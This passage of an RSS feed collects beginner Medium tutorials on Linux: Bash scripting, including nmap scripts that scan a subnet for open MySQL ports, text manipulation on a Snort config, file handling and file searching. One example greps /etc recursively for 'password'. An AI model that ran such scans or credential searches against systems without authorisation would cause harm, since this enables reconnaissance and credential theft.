script:</p><pre>./HelloHackersArise</pre><p>If everything works, you should see:</p><pre>Hello, Hackers-Arise!</pre><p>Congratulations! You just executed your first Bash script. 🎉</p><h3>Adding Variables and User Input to Scripts</h3><p>Let’s add some functionality to our script by introducing variables and user input.</p><ol><li>Open a new script file:</li></ol><pre>nano WelcomeScript.sh</pre><p>2. Add the following code:</p><pre>#! /bin/bash<br>echo &quot;What is your name?&quot;<br>read name<br>echo &quot;What chapter are you on in Linux Basics for Hackers?&quot;<br>read chapter<br>echo &quot;Welcome $name to Chapter $chapter of Linux Basics for Hackers!&quot;</pre><p>3. Save, exit, and give execute permissions:</p><pre>chmod +x WelcomeScript.sh</pre><p>4. Run the script:</p><pre>./WelcomeScript.sh</pre><p>5. The script will prompt you for inputs and return a personalized message:</p><pre>Enter your name: John<br>What chapter are you on? 5<br>Welcome John to Chapter 5 of Linux Basics for Hackers!</pre><p>This simple script demonstrates how to use <strong>variables and user input</strong> in Bash scripting.</p><h3>Your First Hacker Script: Scanning for Open Ports</h3><p>Now, let’s move to some <strong>real-world hacking applications</strong> by creating a <strong>port scanner</strong> using Bash. This script will use nmap, a powerful network scanning tool available in Kali Linux.</p><h3>Understanding nmap</h3><p>The basic syntax of nmap is:</p><pre>nmap &lt;type of scan&gt; &lt;target IP&gt; &lt;optional: target port&gt;</pre><p>For example, scanning a system for open ports:</p><pre>nmap -sT 192.168.181.1</pre><p>To scan a specific port (e.g., MySQL’s default port <strong>3306</strong>):</p><pre>nmap -sT 192.168.181.1 -p 3306</pre><h3>Writing a Simple Port Scanner</h3><ol><li>Open a new script file:</li></ol><pre>nano MySQLscanner.sh</pre><p>2. Add the following code:</p><pre>#! /bin/bash<br># This script scans for MySQL servers on a local network<br>nmap -sT 192.168.181.0/24 -p 3306 &gt;/dev/null -oG MySQLscan<br>cat MySQLscan | grep open &gt; MySQLscan2<br>cat MySQLscan2</pre><p>3. Save, exit, and give execute permissions:</p><pre>chmod +x MySQLscanner.sh</pre><p>4. Run the script:</p><pre>./MySQLscanner.sh</pre><p>If successful, it will return IP addresses of systems with MySQL running:</p><pre>Host: 192.168.181.69 () Ports: 3306/open/tcp//mysql///</pre><h3>Advanced Port Scanner with User Input</h3><p>To make our script more dynamic, let’s allow users to specify IP ranges and ports.</p><ol><li>Open a new script:</li></ol><pre>nano MySQLscannerAdvanced.sh</pre><p>2. Add the following code:</p><pre>#! /bin/bash<br>echo &quot;Enter the starting IP address : &quot;<br>read FirstIP<br>echo &quot;Enter the last octet of the last IP address : &quot;<br>read LastOctetIP<br>echo &quot;Enter the port number you want to scan for : &quot;<br>read port<br>nmap -sT $FirstIP-$LastOctetIP -p $port &gt;/dev/null -oG MySQLscan<br>cat MySQLscan | grep open &gt; MySQLscan2<br>cat MySQLscan2</pre><p>3. Save, exit, and grant execute permissions:</p><pre>chmod +x MySQLscannerAdvanced.sh</pre><p>4. Run the script:</p><pre>./MySQLscannerAdvanced.sh</pre><p>5. The script will prompt you for input:</p><pre>Enter the starting IP address: 192.168.1.1<br>Enter the last octet of the last IP address: 255<br>Enter the port number you want to scan for: 3306</pre><ol><li>It will return systems with the specified port open.</li></ol><h3>Essential Bash Commands for Hacking</h3><p>Here are some <strong>built-in Bash commands</strong> useful for scripting:</p><p>cd Changes directory</p><p>echo Displays text on the screen</p><p>read Reads user input</p><p>pwd Prints the current directory</p><p>jobs Lists background processes</p><p>trap Captures signals (e.g., Ctrl+C)</p><p>type Displays how a command will be interpreted</p><p>export Makes a variable available to child processes</p><p>wait Waits for background processes to complete</p><p>Understanding these commands will help you write more powerful Bash scripts for automation and security testing.</p><h3>Conclusion</h3><p>Bash scripting is a <strong>powerful</strong> tool for ethical hacking and cybersecurity. From simple automation to advanced penetration testing scripts, mastering Bash can significantly improve your efficiency as a hacker or security professional.</p><p>In this guide, we covered: ✅ Writing a basic Bash script ✅ Using variables and user input ✅ Building a simple port scanner ✅ Creating an advanced scanning script with user-defined inputs ✅ Essential Bash commands for hacking</p><p>Now it’s time for you to <strong>experiment and enhance your skills</strong>. Try modifying these scripts, scanning different ports, and automating more security tasks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4da6bfaa8883" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Text manipulation in linux]]></title>
            <link>https://medium.com/@24UEC247/text-manipulation-in-linux-262c2d0c8fbe?source=rss-3b7a54cc1957------2</link>
            <guid isPermaLink="false">https://medium.com/p/262c2d0c8fbe</guid>
            <dc:creator><![CDATA[K ARYA SEKHAR DAS]]></dc:creator>
            <pubDate>Thu, 13 Feb 2025 20:09:50 GMT</pubDate>
            <atom:updated>2025-02-14T17:17:21.043Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>I’ll use files from Snort, a leading network intrusion detection system (NIDS) developed by Marty Roesch and now owned by Cisco. NIDSs detect hacker intrusions, so understanding them is key to both defense and evasion.</blockquote><blockquote>If the version of Kali Linux you’re using doesn’t come preinstalled with Snort, you can download the files from the Kali repository by entering apt-get install snort.</blockquote><p>When working with configuration files like snort.conf, managing and navigating large text files efficiently is crucial. This article explores essential Linux commands such as cat, head, tail, nl, grep, sed, more, and less to help streamline text file operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZtDZg8NxIHx9XTIz" /></figure><h3>Basic File Display: The cat Command</h3><p>The cat (concatenate) command is the simplest way to display a file’s content. However, it displays everything at once, which can be overwhelming for large files.</p><pre>cat /etc/snort/snort.conf</pre><p>While useful for small files, cat lacks navigation controls, making it less practical for handling extensive configurations.</p><h3>Viewing Specific Sections with head and tail</h3><h3>Displaying the Beginning of a File with head</h3><p>To view the first few lines of a file, use the head command. By default, it shows the first <strong>10 lines</strong>:</p><pre>head /etc/snort/snort.conf</pre><p>To display a specific number of lines, such as the first <strong>20 lines</strong>:</p><pre>head -20 /etc/snort/snort.conf</pre><h3>Viewing the End of a File with tail</h3><p>Conversely, tail shows the last <strong>10 lines</strong> of a file:</p><pre>tail /etc/snort/snort.conf</pre><p>To view the last <strong>20 lines</strong>, use:</p><pre>tail -20 /etc/snort/snort.conf</pre><p>These commands help inspect configuration headers and rule inclusions efficiently.</p><h3>Adding Line Numbers with nl</h3><p>For large files, line numbers can be beneficial. The nl command displays line numbers alongside file contents:</p><pre>nl /etc/snort/snort.conf</pre><p>This makes it easier to reference specific lines, especially in files exceeding <strong>600+ lines</strong> like snort.conf.</p><h3>Filtering Output with grep</h3><p>The grep command searches for specific keywords within a file. For example, to find occurrences of &quot;output&quot; in snort.conf:</p><pre>grep output /etc/snort/snort.conf</pre><p>To combine it with cat for a filtered display:</p><pre>cat /etc/snort/snort.conf | grep output</pre><p>This highlights all lines containing the keyword <strong>“output”</strong>, making it easy to locate relevant sections.</p><h3>Advanced Filtering Challenge</h3><p>To display <strong>five lines before</strong> a specific keyword like “# Step #6: Configure output plugins”:</p><pre>grep -B 5 &quot;# Step #6: Configure output plugins&quot; /etc/snort/snort.conf | head -n 5</pre><h3>Find and Replace with sed</h3><p>The sed (stream editor) command enables search-and-replace operations. To replace <strong>all occurrences</strong> of &quot;mysql&quot; with &quot;MySQL&quot;:</p><pre>sed &#39;s/mysql/MySQL/g&#39; /etc/snort/snort.conf &gt; snort2.conf</pre><ul><li>The <strong>s/mysql/MySQL/g</strong> syntax replaces <strong>all instances</strong>.</li><li>The output is saved in <strong>snort2.conf</strong>.</li></ul><p>To replace <strong>only the first occurrence</strong> per line:</p><pre>sed &#39;s/mysql/MySQL/&#39; /etc/snort/snort.conf &gt; snort2.conf</pre><p>To replace only the <strong>second occurrence</strong>:</p><pre>sed &#39;s/mysql/MySQL/2&#39; /etc/snort/snort.conf &gt; snort2.conf</pre><p>These techniques help automate configuration edits efficiently.</p><h3>Efficient File Viewing with more and less</h3><h3>Using more for Paginated Viewing</h3><p>The more command allows you to view files one page at a time:</p><pre>more /etc/snort/snort.conf</pre><ul><li>Press <strong>Enter</strong> to scroll line by line.</li><li>Press <strong>Space</strong> to scroll page by page.</li><li>Press <strong>q</strong> to quit.</li></ul><h3>Navigating with less</h3><p>The less command provides additional functionality:</p><pre>less /etc/snort/snort.conf</pre><ul><li>Scroll up and down using <strong>arrow keys</strong>.</li><li>Search within the file by pressing <strong>/keyword</strong>.</li><li>Jump to the next match with <strong>n</strong>.</li><li>Exit with <strong>q</strong>.</li></ul><h4>Example: Searching for “output” in snort.conf</h4><pre>/output</pre><p>This highlights the first match, allowing quick navigation through configuration settings.</p><p><strong>Takeaway:</strong> less is more powerful, hence the saying: <strong>&quot;less is more.&quot;</strong> 🚀</p><h3>Conclusion</h3><p>Mastering these Linux commands improves efficiency when handling large configuration files like snort.conf. Whether you need to <strong>view</strong>, <strong>search</strong>, <strong>filter</strong>, <strong>edit</strong>, or <strong>navigate</strong> through text files, the tools discussed provide powerful solutions for cybersecurity professionals and system administrators alike.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=262c2d0c8fbe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[File handling in Linux]]></title>
            <link>https://medium.com/@24UEC247/file-handling-in-linux-7b6b430f9ca2?source=rss-3b7a54cc1957------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b6b430f9ca2</guid>
            <dc:creator><![CDATA[K ARYA SEKHAR DAS]]></dc:creator>
            <pubDate>Mon, 10 Feb 2025 19:46:53 GMT</pubDate>
            <atom:updated>2025-02-10T19:46:53.029Z</atom:updated>
            <content:encoded><![CDATA[<p>File handling is a fundamental aspect of working with Linux. It involves creating, reading, modifying, and managing files using various commands. One of the most versatile commands for file handling is cat, which allows users to create, view, append, and overwrite files efficiently. Understanding these basic operations is essential for effective file management in Linux environments.</p><blockquote><strong>Using the </strong><strong>cat Command in Linux: Create, View, Append, and Overwrite Files</strong></blockquote><p>The cat command in Linux is commonly used to display file contents, but it also allows users to create, append, and overwrite files using redirection operators (&gt; and &gt;&gt;).</p><h4>1. Creating a New File</h4><p>To create a file, use:</p><pre>cat &gt; filename</pre><p>This enters interactive mode, allowing you to type content. Press CTRL+D to save and exit.</p><h4>2. Viewing File Contents</h4><p>To display the file contents, use:</p><pre>cat filename</pre><h4>3. Appending to a File</h4><p>To add new content without overwriting existing data, use:</p><pre>cat &gt;&gt; filename</pre><p>This enters interactive mode again, allowing additional content to be entered.</p><h4>4. Overwriting a File</h4><p>Using a single &gt; instead of &gt;&gt; will erase previous content before saving new data:</p><pre>cat &gt; filename</pre><p>By understanding these simple cat commands, users can efficiently manage text files in Linux.</p><blockquote><strong>File Creation with </strong><strong>touch</strong></blockquote><p>The touch command in Linux is primarily used to update a file&#39;s timestamps but can also create a new file if it doesn’t already exist. To create an empty file, use:</p><pre>touch filename</pre><p>For example:</p><pre>touch newfile</pre><p>This creates newfile, which initially has a size of 0 since no content is added. You can verify its existence using ls -l</p><blockquote><strong>Creating a Directory in Linux</strong></blockquote><p>The mkdir command (short for <em>make directory</em>) is used to create new directories. To create a directory named newdirectory, use:</p><pre>mkdir newdirectory</pre><p>To navigate into the newly created directory, use:</p><pre>cd newdirectory</pre><p>This allows users to organize files efficiently within the Linux filesystem.</p><blockquote><strong>Copying a File in Linux</strong></blockquote><p>The cp command is used to copy files while keeping the original intact. To create and copy a file:</p><pre>touch oldfile  <br>cp oldfile /root/newdirectory/newfile</pre><p>This copies oldfile to /root/newdirectory and renames it to newfile. If no new name is specified, the file retains its original name. Using ls inside newdirectory confirms the copied file&#39;s presence.</p><blockquote><strong>Renaming a File in Linux</strong></blockquote><p>Linux does not have a dedicated rename command, but the mv (move) command can be used for renaming files and directories.</p><p>To rename a file:</p><pre>mv newfile newfile2</pre><p>After running ls, you&#39;ll see newfile2 instead of newfile, confirming the rename. The same method applies to directories.</p><blockquote><strong>Removing a File in Linux</strong></blockquote><p>The rm command is used to delete files. To remove a file:</p><pre>rm newfile2</pre><p>After running this command, using ls will confirm that the file has been deleted.</p><blockquote><strong>Removing a Directory in Linux</strong></blockquote><p>To remove a directory, use the rmdir command:</p><pre>rmdir newdirectory</pre><p>However, rmdir only works on empty directories. If the directory contains files, it will return an error.</p><p>To remove a directory along with its contents, use the rm command with the -r (recursive) flag:</p><pre>rm -r newdirectory</pre><p><strong>Caution:</strong> Be careful when using rm -r, as it will permanently delete all files and subdirectories within the specified directory.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b6b430f9ca2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding your stuffs on Linux]]></title>
            <link>https://medium.com/@24UEC247/finding-your-stuffs-on-linux-ae9760b50c06?source=rss-3b7a54cc1957------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae9760b50c06</guid>
            <dc:creator><![CDATA[K ARYA SEKHAR DAS]]></dc:creator>
            <pubDate>Sat, 08 Feb 2025 20:31:46 GMT</pubDate>
            <atom:updated>2025-02-08T20:33:18.849Z</atom:updated>
            <content:encoded><![CDATA[<p>Linux can feel overwhelming when you’re just starting out, especially when trying to locate files or navigate the system. However, mastering a few essential commands will make your command-line experience much smoother. This guide covers some fundamental commands to help you locate files quickly and efficiently.</p><blockquote><strong>1.Using </strong><strong>locate for Fast File Searches</strong></blockquote><p>The locate command is one of the quickest ways to find files on a Linux system. It searches through a pre-built database rather than scanning the filesystem in real time, making it extremely fast.</p><h4>How to use it:</h4><pre>locate &lt;filename&gt;</pre><h4>Pros and Cons of locate</h4><p>✅ Extremely fast file search<br>✅ Finds multiple occurrences across directories<br>❌ The database is updated periodically (usually once a day), so newly created files may not appear immediately<br>❌ It might return too many results, making it harder to find the exact file you need</p><p>If locate doesn’t find a recently created file, you can manually update the database using:</p><pre>sudo updatedb</pre><blockquote><strong>2.Finding Binaries and Man Pages with </strong><strong>whereis</strong></blockquote><p>If you’re looking for a binary file and its associated documentation, whereis is the best option. It returns the location of the binary, source, and manual pages if available.</p><h3>Usage:</h3><pre>whereis &lt;command&gt;</pre><h3>Pros and Cons of whereis</h3><p>✅ Returns only relevant locations (binary and documentation)<br>✅ More efficient than locate when searching for commands<br>❌ Doesn’t show every instance of a filename</p><blockquote><strong>3. Locating Installed Programs with </strong><strong>which</strong></blockquote><p>The which command specifically searches for executable files in the directories listed in the PATH environment variable. The PATH variable contains directories where Linux looks for commands when executed.</p><h4>Usage:</h4><pre>which &lt;command&gt;</pre><h4>Pros and Cons of which</h4><p>✅ Finds only executable programs<br>✅ Searches directories in PATH, avoiding unnecessary results<br>❌ Cannot find non-executable files</p><p>The directories included in PATH typically include /usr/bin, /usr/sbin, and a few others, depending on the system configuration.</p><blockquote><strong>4. Performing Real-Time Searches with </strong><strong>find</strong></blockquote><p>The find command is one of the most powerful and flexible search utilities in Linux. Unlike other search tools, find allows users to locate files based on multiple parameters, including filename, creation or modification date, ownership, permissions, and file size. This makes it an essential command for system administrators and power users alike.</p><h4>Basic Syntax of find</h4><p>The general syntax of the find command is:</p><pre>find &lt;directory&gt; &lt;options&gt; &lt;expression&gt;</pre><ul><li><strong>&lt;directory&gt;</strong> – The starting point for the search.</li><li><strong>&lt;options&gt;</strong> – Criteria such as file type or name.</li><li><strong>&lt;expression&gt;</strong> – The specific parameter defining what you’re searching for.</li></ul><h4>Finding Files by Name</h4><p>To search for a file named &lt;filename&gt; starting from the root (/) directory, use:</p><pre>find / -type f -name &lt;filename&gt;</pre><h4>Breaking Down the Command:</h4><ul><li>/ – Starts the search from the root directory.</li><li>-type f – Searches for ordinary files (not directories).</li><li>-name &lt;filename&gt;– Looks for a file with the exact name &lt;filename&gt;.</li></ul><h3>Pros and Cons of find</h3><p>✅ Searches in real time<br>✅ Supports advanced filters<br>❌ Can be slow on large directories</p><blockquote><strong>5.Efficiently Filtering Output with </strong><strong>grep in Linux</strong></blockquote><p>When working with the Linux command line, you’ll often need to search for specific keywords within large amounts of text. The grep command is an essential tool for filtering output and finding relevant information quickly</p><h3>What is grep?</h3><p>The grep command allows users to search for patterns within files or command outputs. It is particularly useful when used in combination with other commands via <strong>piping (</strong><strong>|)</strong>, which allows the output of one command to be passed as input to another.</p><h3>Using grep Effectively</h3><p>Here are some ways to enhance your searches with grep:</p><p>✅ <strong>Case-Insensitive Search:</strong> Use -i to ignore case.</p><pre>grep -i &quot;error&quot; /var/log/syslog</pre><p>✅ <strong>Exact Word Match:</strong> Use -w to match whole words.</p><pre>grep -w &quot;failed&quot; authentication.log</pre><p>✅ <strong>Finding Lines That Don’t Match a Pattern:</strong> Use -v to exclude results containing a specific keyword.</p><pre>grep -v &quot;warning&quot; logs.txt</pre><p>✅ <strong>Searching Recursively in Directories:</strong> Use -r to search in files within a directory.</p><pre>grep -r &quot;password&quot; /etc/</pre><p>This will scan all files in /etc/ for the word <strong>password</strong>.</p><p><a href="https://buymeacoffee.com/intel_ears">https://buymeacoffee.com/intel_ears</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QCQqlZr6doDP-cszzpaSpw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae9760b50c06" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>